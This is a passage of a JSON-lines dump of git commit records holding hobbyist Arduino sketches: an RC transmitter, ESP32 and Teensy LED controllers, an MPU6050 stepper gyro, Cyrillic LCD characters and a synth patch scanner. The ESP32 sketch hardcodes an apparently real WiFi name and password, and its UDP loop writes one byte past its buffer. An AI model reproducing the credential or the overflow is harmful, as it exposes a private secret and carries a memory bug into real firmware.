(DEBUG) {\n \/\/ Dump the configuration of the rf unit for debugging\n radio.printDetails(); \n Serial.println(\"End begin\");\n }\n \n ack_payload.key = 253;\n ack_payload.val = 4000; \/\/@todo tx battery level\n monitor_sendData();\n \n radio.startListening();\n}\n\n\n\/****************************************************************************\/\n\n\/\/ Returns a corrected value for a joystick position that takes into account\n\/\/ the values of the outer extents and the middle of the joystick range.\nint joystickMapValues(int val, int lower, int middle, int upper, bool reverse)\n{\n val = constrain(val, lower, upper);\n if ( val < middle )\n val = map(val, lower, middle, 0, 128);\n else\n val = map(val, middle, upper, 128, 255);\n return ( reverse ? 255 - val : val );\n}\n\n\/****************************************************************************\/\n\n\nvoid loop(void)\n{\n tx_payload.throttle = joystickMapValues( analogRead(PIN_THROTTLE), 100, 500, 900, false );\n tx_payload.yaw = joystickMapValues( analogRead(PIN_YAW), 100, 500, 900, false );\n tx_payload.pitch = joystickMapValues( analogRead(PIN_PITCH), 100, 500, 900, false );\n tx_payload.roll = joystickMapValues( analogRead(PIN_ROLL), 100, 500, 900, false );\n \n if (DEBUG) {\n \/\/printf(\"Now sending throttle %d\\n\\r \",tx_payload.throttle);\n }\n \n \/\/ Stop listening so we can talk.\n radio.stopListening(); \n \n \/\/ Take the time, and send it. This will block until complete \n unsigned long time = micros(); \n if (!radio.write( &tx_payload, sizeof(tx_t))) {\n \/\/ Got no ack.\n if (DEBUG) {\n \/\/printf(\"no ack.\\n\\r\"); \n ++ppsLostCounter;\n }\n } else {\n if (!radio.available()) { \n \/\/ blank payload\n if (DEBUG) {\n \/\/printf(\"Blank Payload Received\\n\\r\"); \n }\n } else {\n \n if (radio.available() ){\n unsigned long tim = micros();\n radio.read( &ack_payload, sizeof(ack_t) );\n ppsCounter++;\n monitor_sendData();\n if (DEBUG) {\n printf(\"Got response %d, pps: %d , round-trip: %lu microseconds\\n\\r\", ack_payload.val, pps, tim-time);\n }\n \n\n \n }\n\n }\n }\n \n unsigned long now = millis();\n if ( now - ppsLast > 250 ) {\n pps = ppsCounter;\n ppsLost = ppsLostCounter;\n ppsCounter = 0;\n ppsLostCounter = 0;\n ppsLast = now;\n if (DEBUG) {\n printf(\"pps: %d, lost: %d \\n\\r\", pps, ppsLost);\n }\n ack_payload.key = 255;\n ack_payload.val = (pps << 2); \/\/ Multiply by 4 (fast)\n monitor_sendData();\n } \n \n if (now - vcc_last > 3000) {\n vcc_last = now;\n ack_payload.key = 253;\n ack_payload.val = 4000; \/\/@todo tx battery level\n monitor_sendData();\n }\n\n}\n\nvoid monitor_sendData()\n{\n if (!DEBUG) {\n byte data[5];\n \n data[0] = 'A';\n data[1] = ack_payload.key;\n data[2] = (ack_payload.val >> 8);\n data[3] = ack_payload.val;\n data[4] = 'K';\n \n Serial.write(data, 5);\n \/\/Serial.flush();\n }\n}\n\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"f7f6e63e821ed5af08df3a41e3599c1d8d55b030","subject":"add esp32 example","message":"add esp32 example","repos":"joeybab3\/audio-reactive-led-strip,joeybab3\/audio-reactive-led-strip,scottlawsonbc\/audio-reactive-led-strip,scottlawsonbc\/audio-reactive-led-strip","old_file":"arduino\/ws2812_controller_esp32\/ws2812_controller_esp32.ino","new_file":"arduino\/ws2812_controller_esp32\/ws2812_controller_esp32.ino","new_contents":"#include <Arduino.h>\n#include <WiFi.h>\n#include <Hash.h>\n#include <WiFiUdp.h>\n#include <NeoPixelBus.h>\n\n\/\/ Set to the number of LEDs in your LED strip\n#define NUM_LEDS 128\n\/\/ Maximum number of packets to hold in the buffer. Don't change this.\n#define BUFFER_LEN 1024\n\/\/ Toggles FPS output (1 = print FPS over serial, 0 = disable output)\n#define PRINT_FPS 1\n\n\/\/NeoPixelBus settings\nconst uint8_t PixelPin = 3; \/\/ make sure to set this to the correct pin, ignored for Esp8266(set to 3 by default for DMA)\n\n\/\/ Wifi and socket settings\nchar* ssid = \"Bjoeandy_5ghz\";\nchar* password = \"02030410\";\nunsigned int localPort = 7777;\nchar packetBuffer[BUFFER_LEN];\n\n\/\/ LED strip\nNeoPixelBus<NeoGrbFeature, Neo800KbpsMethod> ledstrip(NUM_LEDS, PixelPin);\n\nWiFiUDP port;\n\nvoid setup() {\n Serial.begin(115200);\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n \/\/ Connect to wifi and print the IP address over serial\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n port.begin(localPort);\n ledstrip.Begin();\/\/Begin output\n ledstrip.Show();\/\/Clear the strip for use\n}\n\nuint8_t N = 0;\n#if PRINT_FPS\n uint16_t fpsCounter = 0;\n uint32_t secondTimer = 0;\n#endif\n\nvoid loop() {\n \/\/ Read data over socket\n int packetSize = port.parsePacket();\n \/\/ If packets have been received, interpret the command\n if (packetSize) {\n int len = port.read(packetBuffer, BUFFER_LEN);\n for(int i = 0; i < len; i+=4) {\n packetBuffer[len] = 0;\n N = packetBuffer[i];\n RgbColor pixel((uint8_t)packetBuffer[i+1], (uint8_t)packetBuffer[i+2], (uint8_t)packetBuffer[i+3]);\n ledstrip.SetPixelColor(N, pixel);\n } \n ledstrip.Show();\n #if PRINT_FPS\n fpsCounter++;\n Serial.print(\"\/\");\/\/Monitors connection(shows jumps\/jitters in packets)\n #endif\n }\n #if PRINT_FPS\n if (millis() - secondTimer >= 1000U) {\n secondTimer = millis();\n Serial.printf(\"FPS: %d\\n\", fpsCounter);\n fpsCounter = 0;\n } \n #endif\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ws2812_controller_esp32\/ws2812_controller_esp32.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cfc97c49f76cc5d5e0087607801e482fc6b8c638","subject":"Initial Commit","message":"Initial Commit\n","repos":"GotYourWallet\/2DOF-Platform,GotYourWallet\/2DOF-Platform","old_file":"MPU6050_-_Stepper_Gyro\/MPU6050_-_Stepper_Gyro.ino\/MPU6050_-_Stepper_Gyro.ino.ino","new_file":"MPU6050_-_Stepper_Gyro\/MPU6050_-_Stepper_Gyro.ino\/MPU6050_-_Stepper_Gyro.ino.ino","new_contents":"\/\/MPU 6050 Stepper Gyro\n\/\/Shematic Pinout http:\/\/diyhacking.com\/arduino-mpu-6050-imu-sensor-tutorial\/\n\/\/The servo is replaced by a stepper motor to allow for a higher resolution when turning the MPU in the yaw direction.\n\/\/by Philipp Schilcher\n\n\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)\n\/\/ 6\/21\/2012 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\n\/* ============================================\n I2Cdev device library code is placed under the MIT license\n Copyright (c) 2012 Jeff Rowberg\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n ===============================================\n*\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\nMPU6050 mpu;\n\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n ========================================================================= *\/\n\n#define INTERRUPT_PIN 2 \/\/ use pin 2 on Arduino Uno & most boards\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\nunsigned int loopcount = 0; \/\/loopcounter for debugging\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\n\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\nfloat origin[3]; \/\/ [yaw, pitch, roll] stores the initial orientation of the MPU\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\/\/ ================================================================\n\/\/ === Stepper Vars ===\n\/\/ ================================================================\n\n\/*\n BYJ48 Stepper motor code\n Connect :\n IN1 >> D8\n IN2 >> D9\n IN3 >> D10\n IN4 >> D11\n VCC ... 5V Prefer to use external 5V Source\n Gnd\n written By :Mohannad Rawashdeh\n http:\/\/www.instructables.com\/member\/Mohannad+Rawashdeh\/\n 28\/9\/2013\n*\/\n\n#define IN1 8\n#define IN2 9\n#define IN3 10\n#define IN4 11\nint Steps = 0;\nboolean Direction = true; \/\/ gre\nunsigned long last_time;\nunsigned long currentMillis ;\nint steps_left = 4095;\nlong time;\n\nint offset; \/\/the calculated offset between origin and current stepper position\n\n\/\/ ================================================================\n\/\/ === SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n Wire.begin();\n Wire.setClock(400000); \/\/ 400kHz I2C clock. Comment this line if having compilation difficulties\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(250000);\n\n \/\/ configure Arduino pins for stepper control using ULN 2003\n pinMode(IN1, OUTPUT);\n pinMode(IN2, OUTPUT);\n pinMode(IN3, OUTPUT);\n pinMode(IN4, OUTPUT);\n\n \/\/ initialize device\n mpu.initialize();\n pinMode(INTERRUPT_PIN, INPUT);\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(220);\n mpu.setYGyroOffset(76);\n mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \/\/ make sure it worked (returns 0 if so)\n\n if (devStatus == 0) {\n\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(digitalPinToInterrupt(INTERRUPT_PIN), dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n\n}\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n#if 0\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n }\n#endif\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) \n fifoCount = mpu.getFIFOCount();\n }\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n\n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n\n \/\/record the origin once the gyro data has stabilized\n if (loopcount == 2000) {\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n origin[0] = (ypr[0]);\n origin[1] = (ypr[1]);\n origin[2] = (ypr[2]);\n\n \/\/ blink LED to indicate that origin has been set\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n#if 1\n Serial.print(\"ypr\\t\");\n Serial.print(origin[0] * 180 \/ M_PI);\n Serial.print(\"\\t\");\n Serial.print(loopcount);\n Serial.print(\"\\t\");\n Serial.print(offset);\n Serial.print(\"\\t\");\n Serial.print(ypr[0] * 180 \/ M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr[1] * 180 \/ M_PI);\n Serial.print(\"\\t\");\n Serial.println(ypr[2] * 180 \/ M_PI);\n#endif\n\n \/\/turn the stepper\n if (loopcount > 2000) {\n offset = (ypr[0] * 180 \/ M_PI) - (origin[0] * 180 \/ M_PI);\n\n if (offset >= 1) {\n Direction = 1;\n stepper(1); \n } else if (offset <= -1) {\n Direction = 0;\n stepper(1);\n }\n }\n\n \/\/count the number of program loops for debugging\n loopcount += 1 ;\n \n}\n\n\/\/stepping through this pattern moves the rotor of the stepper motor by 1 step\nvoid stepper(int xw) {\n for (int x = 0; x < xw; x++) {\n switch (Steps) {\n case 0:\n digitalWrite(IN1, LOW);\n digitalWrite(IN2, LOW);\n digitalWrite(IN3, LOW);\n digitalWrite(IN4, HIGH);\n break;\n case 1:\n digitalWrite(IN1, LOW);\n digitalWrite(IN2, LOW);\n digitalWrite(IN3, HIGH);\n digitalWrite(IN4, HIGH);\n break;\n case 2:\n digitalWrite(IN1, LOW);\n digitalWrite(IN2, LOW);\n digitalWrite(IN3, HIGH);\n digitalWrite(IN4, LOW);\n break;\n case 3:\n digitalWrite(IN1, LOW);\n digitalWrite(IN2, HIGH);\n digitalWrite(IN3, HIGH);\n digitalWrite(IN4, LOW);\n break;\n case 4:\n digitalWrite(IN1, LOW);\n digitalWrite(IN2, HIGH);\n digitalWrite(IN3, LOW);\n digitalWrite(IN4, LOW);\n break;\n case 5:\n digitalWrite(IN1, HIGH);\n digitalWrite(IN2, HIGH);\n digitalWrite(IN3, LOW);\n digitalWrite(IN4, LOW);\n break;\n case 6:\n digitalWrite(IN1, HIGH);\n digitalWrite(IN2, LOW);\n digitalWrite(IN3, LOW);\n digitalWrite(IN4, LOW);\n break;\n case 7:\n digitalWrite(IN1, HIGH);\n digitalWrite(IN2, LOW);\n digitalWrite(IN3, LOW);\n digitalWrite(IN4, HIGH);\n break;\n default:\n digitalWrite(IN1, LOW);\n digitalWrite(IN2, LOW);\n digitalWrite(IN3, LOW);\n digitalWrite(IN4, LOW);\n break;\n }\n SetDirection();\n }\n}\nvoid SetDirection() {\n if (Direction == 1) {\n Steps++;\n }\n if (Direction == 0) {\n Steps--;\n }\n if (Steps > 7) {\n Steps = 0;\n }\n if (Steps < 0) {\n Steps = 7;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MPU6050_-_Stepper_Gyro\/MPU6050_-_Stepper_Gyro.ino\/MPU6050_-_Stepper_Gyro.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2734135b507f087ce35c750d626c11bf8ff625c5","subject":"New sketch Ru - Test russification of lcd display connected by i2c","message":"New sketch Ru - Test russification of lcd display connected by i2c\n","repos":"aslok\/sketchbook,aslok\/sketchbook,aslok\/sketchbook,aslok\/sketchbook","old_file":"ru\/ru.ino","new_file":"ru\/ru.ino","new_contents":"\/*\nRu\nTest russification of lcd display connected by i2c\n\nHardware:\nLCD I2C PCF8574\nhttp:\/\/habrahabr.ru\/post\/219137\/\nhttp:\/\/arduino-info.wikispaces.com\/file\/detail\/LiquidCrystal_I2C1602V1.zip\/341635514\n\ncreated 19.01.2015\nby Fust Vitaliy\nwith Arduino 1.5.8 (tested on Arduino Uno)\n*\/\n\/*\nSketch uses 3 508 bytes (10%) of program storage space. Maximum is 32 256 bytes.\nGlobal variables use 309 bytes (15%) of dynamic memory, leaving 1 739 bytes for local variables. Maximum is 2 048 bytes.\n*\/\n\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n\n#if defined(ARDUINO) && ARDUINO >= 100\n#define printByte(args) write(args);\n#else\n#define printByte(args) print(args,BYTE);\n#endif\n\nuint8_t ru[8][8] =\n{\n { 0x1e,0x10,0x10,0x1e,0x11,0x11,0x1e,0x0 }, \/\/ \u0411\n { 0x1f,0x10,0x10,0x10,0x10,0x10,0x10,0x0 }, \/\/ \u0413\n { 0xe, 0xa, 0xa, 0xa, 0x1f,0x11,0x11,0x0 }, \/\/ \u0414\n { 0x11,0x11,0x11,0x1d,0x13,0x13,0x1d,0x0 }, \/\/ \u042b\n { 0x17,0x15,0x15,0x1d,0x15,0x15,0x17,0x0 }, \/\/ \u042e\n { 0xf, 0x11,0x11,0xf, 0x5, 0x9, 0x11,0x0 }, \/\/ \u042f\n { 0x15,0x15,0xe, 0xe, 0xe, 0x15,0x15,0x0 }, \/\/ \u0416\n { 0x1f,0x11,0x11,0x11,0x11,0x11,0x11,0x0 }, \/\/ \u041f\n};\n\n\/\/ set the LCD address to 0x27 for a 16 chars and 2 line display\nLiquidCrystal_I2C lcd(0x27, 16, 2);\n\nvoid setup()\n{\n \/\/ initialize the lcd \n lcd.init();\n lcd.backlight();\n\n \/\/ Creating missing chars \n for (int char_num = 0; char_num < 8; char_num++){\n lcd.createChar(char_num, ru[char_num]);\n }\n lcd.home();\n lcd.clear();\n\n lcd.printByte('A');\n lcd.printByte(0);\n lcd.printByte('B');\n lcd.printByte(1);\n lcd.printByte(2);\n lcd.printByte('E');\n lcd.printByte(6);\n lcd.printByte('3');\n lcd.printByte('U');\n lcd.printByte('K');\n lcd.printByte(202);\n lcd.printByte('M');\n lcd.printByte('H');\n lcd.printByte('O');\n lcd.printByte(7);\n lcd.printByte('P');\n \n lcd.setCursor(0, 1);\n \n lcd.printByte('C');\n lcd.printByte('T');\n lcd.printByte(191);\n lcd.printByte(236);\n lcd.printByte('X');\n lcd.printByte(209);\n lcd.printByte(249);\n lcd.printByte('W');\n lcd.printByte('b');\n lcd.printByte(3);\n lcd.printByte(214);\n lcd.printByte(4);\n lcd.printByte(5);\n}\n\nvoid loop()\n{\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ru\/ru.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fe7345b1d334ed183b50bf31f28ea3f1421901e9","subject":"arudino code!","message":"arudino code!\n","repos":"mattybrad\/modularsynth,mattybrad\/modularsynth,mattybrad\/modularsynth","old_file":"arduino\/modularsynth\/modularsynth.ino","new_file":"arduino\/modularsynth\/modularsynth.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n pinMode(2,OUTPUT);\n pinMode(3,OUTPUT);\n pinMode(4,OUTPUT);\n pinMode(5,OUTPUT);\n pinMode(6,OUTPUT);\n pinMode(7,OUTPUT);\n pinMode(8,OUTPUT);\n pinMode(9,INPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n int i,j;\n digitalWrite(5,HIGH);\n for(i=0;i<8;i++) {\n digitalWrite(2,bitRead(i,0));\n digitalWrite(3,bitRead(i,1));\n digitalWrite(4,bitRead(i,2));\n for(j=0;j<8;j++) {\n if(i<j) {\n digitalWrite(6,bitRead(j,0));\n digitalWrite(7,bitRead(j,1));\n digitalWrite(8,bitRead(j,2));\n if(digitalRead(9)==HIGH) {\n Serial.print(i);\n Serial.print(\"-\");\n Serial.print(j);\n Serial.print(\"\\n\");\n }\n }\n }\n }\n digitalWrite(5,LOW);\n Serial.print(\"A0-\");\n Serial.print(analogRead(0));\n Serial.print(\"\\n\");\n Serial.println(\"DONE\");\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/modularsynth\/modularsynth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eeac144f14ff77e9c1d5eb2571fcb77d51f43697","subject":"Added Portland Winter Light Festival sketch","message":"Added Portland Winter Light Festival sketch\n","repos":"nijotz\/pixl","old_file":"examples\/pwlf\/pwlf.ino","new_file":"examples\/pwlf\/pwlf.ino","new_contents":"#include <pixl.h>\n#include <FastLED.h>\n#include <Logging.h>\n#include <Audio.h>\n\n\/\/ Uncomment to turn off assertions\n#define NDEBUG\n\n\/\/ Weird thing I had to do to get the Logging library working with teensy\nextern \"C\" {\n int _getpid() { return -1; }\n int _kill(int pid, int sig) { return -1; }\n int _write() { return -1; }\n}\n\n#define LOGLEVEL LOG_LEVEL_INFOS\n\nusing namespace pixl;\n\n\n\/\/ Triangles strip, in series, 3 groups of 3 triangles, inner -> outer -> outer\n#define TRIANGLE 55\n#define GROUP TRIANGLE * 3\n#define STRIP GROUP * 3\n\n#define IN_START1 36\n#define IN_START2 0\n#define IN_START3 18\n#define IN_LENGTH1 19\n#define IN_LENGTH2 18\n#define IN_LENGTH3 18\n\n#define OUT1_START1 37\n#define OUT1_START2 0\n#define OUT1_START3 19\n#define OUT1_LENGTH1 18\n#define OUT1_LENGTH2 19\n#define OUT1_LENGTH3 18\n\n#define OUT2_START1 19\n#define OUT2_START2 37\n#define OUT2_START3 0\n#define OUT2_LENGTH1 18\n#define OUT2_LENGTH2 18\n#define OUT2_LENGTH3 19\n\nInput* input;\n\nint circle_length = 30;\n\nLEDStrip strip = LEDStrip(STRIP);\nLEDStrip strip2 = LEDStrip(150);\nLEDStrip* strips[] = {&strip, &strip, &strip};\n\n\/\/ Inner triangles\nint in_starts1[] = {\n IN_START1 + (GROUP * 0),\n IN_START2 + (GROUP * 0),\n IN_START3 + (GROUP * 0)\n};\nint in_starts2[] = {\n IN_START1 + (GROUP * 1),\n IN_START2 + (GROUP * 1),\n IN_START3 + (GROUP * 1)\n};\nint in_starts3[] = {\n IN_START1 + (GROUP * 2),\n IN_START2 + (GROUP * 2),\n IN_START3 + (GROUP * 2)\n};\nint in_lengths[] = {IN_LENGTH1, IN_LENGTH2, IN_LENGTH3};\n\nLEDs leds1 = LEDs(3, strips, in_starts1, in_lengths);\nLEDs leds2 = LEDs(3, strips, in_starts2, in_lengths);\nLEDs leds3 = LEDs(3, strips, in_starts3, in_lengths);\n\nLEDs* inner_leds[] = {&leds1, &leds2, &leds3};\n\n\/\/ First outer triangle\nint out1_starts1[] = {\n OUT1_START1 + TRIANGLE + (GROUP * 0),\n OUT1_START2 + TRIANGLE + (GROUP * 0),\n OUT1_START3 + TRIANGLE + (GROUP * 0)\n};\nint out1_starts2[] = {\n OUT1_START1 + TRIANGLE + (GROUP * 1),\n OUT1_START2 + TRIANGLE + (GROUP * 1),\n OUT1_START3 + TRIANGLE + (GROUP * 1)\n};\nint out1_starts3[] = {\n OUT1_START1 + TRIANGLE + (GROUP * 2),\n OUT1_START2 + TRIANGLE + (GROUP * 2),\n OUT1_START3 + TRIANGLE + (GROUP * 2)\n};\nint out1_lengths[] = {OUT1_LENGTH1, OUT1_LENGTH2, OUT1_LENGTH3};\n\nLEDs leds4 = LEDs(3, strips, out1_starts1, out1_lengths);\nLEDs leds5 = LEDs(3, strips, out1_starts2, out1_lengths);\nLEDs leds6 = LEDs(3, strips, out1_starts3, out1_lengths);\n\n\/\/ Second outer triangle\nint out2_starts1[] = {\n OUT2_START1 + (TRIANGLE * 2) + (GROUP * 0),\n OUT2_START2 + (TRIANGLE * 2) + (GROUP * 0),\n OUT2_START3 + (TRIANGLE * 2) + (GROUP * 0)\n};\nint out2_starts2[] = {\n OUT2_START1 + (TRIANGLE * 2) + (GROUP * 1),\n OUT2_START2 + (TRIANGLE * 2) + (GROUP * 1),\n OUT2_START3 + (TRIANGLE * 2) + (GROUP * 1)\n};\nint out2_starts3[] = {\n OUT2_START1 + (TRIANGLE * 2) + (GROUP * 2),\n OUT2_START2 + (TRIANGLE * 2) + (GROUP * 2),\n OUT2_START3 + (TRIANGLE * 2) + (GROUP * 2)\n};\nint out2_lengths[] = {OUT2_LENGTH1, OUT2_LENGTH2, OUT2_LENGTH3};\n\nLEDs leds7 = LEDs(3, strips, out2_starts1, out2_lengths);\nLEDs leds8 = LEDs(3, strips, out2_starts2, out2_lengths);\nLEDs leds9 = LEDs(3, strips, out2_starts3, out2_lengths);\n\nLEDs* outer_leds[] = {&leds4, &leds5, &leds6, &leds7, &leds8, &leds9};\n\n\/\/ Circle\nLEDs circle_led = LEDs(&strip2, 0, circle_length);\nLEDs* circle_leds[] = {&circle_led};\nCircleAnimation* circle_anim;\n\nVisualization* viz;\n\nTriangleAnimation* anim1;\nTriangleAnimation* anim2;\n\n\/\/ Audio shield setup\nAudioInputI2S audio;\nAudioAnalyzePeak peak;\nAudioAnalyzeNoteFrequency note;\nAudioConnection patchCord1(audio, peak);\nAudioConnection patchCord2(audio, note);\nAudioControlSGTL5000 audioShield;\n\nvoid setup() {\n Log.Init(LOGLEVEL, 9600);\n delay(1000);\n Log.Info(\"Starting setup()\\n\");\n Serial.flush();\n delay(1000);\n\n AudioMemory(30);\n audioShield.enable();\n audioShield.inputSelect(AUDIO_INPUT_MIC);\n audioShield.micGain(50);\n note.begin(.75);\n\n input = new AudioShieldInput(&peak, ¬e);\n\n viz = new RippleVisualization(input, 150, 1, true);\n\n anim1 = new TriangleAnimation(viz, inner_leds, 3);\n anim2 = new TriangleAnimation(viz, outer_leds, 6);\n\n \/\/ Adds LED Microphone\n circle_anim = new CircleAnimation(viz, circle_leds, 1);\n\n anim1->init(1.0);\n anim2->init(0.9, true);\n circle_anim->init(1.0);\n\n FastLED.addLeds<WS2811, 14, GRB>(strip.leds, STRIP);\n FastLED.addLeds<WS2811, 7, GRB>(strip2.leds, 150);\n\n FastLED.setBrightness(255);\n\n Looper* looper = Looper::instance();\n looper->addInput(input);\n looper->addVisualization(viz);\n looper->addAnimation(anim1);\n looper->addAnimation(anim2);\n looper->addAnimation(circle_anim);\n \/\/looper->setFramesPerSecond(30);\n looper->setUpdatesPerSecond(30);\n\n Log.Info(\"Finished setup()\\n\");\n delay(1000);\n}\n\nvoid loop() {\n AudioNoInterrupts();\n Looper::instance()->loop();\n AudioInterrupts();\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/pwlf\/pwlf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2392ad51cda8270ffb3c5d41a43d8f912ce3345f","subject":"Added Variables","message":"Added Variables\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d28f3942f68000fc2de71c0bd07c4a6d4f9eae71","subject":"message de arduino vers android","message":"message de arduino vers android\n","repos":"jordane-quincy\/projet_m1","old_file":"sketch_mar02b\/sketch_mar02b.ino","new_file":"sketch_mar02b\/sketch_mar02b.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see 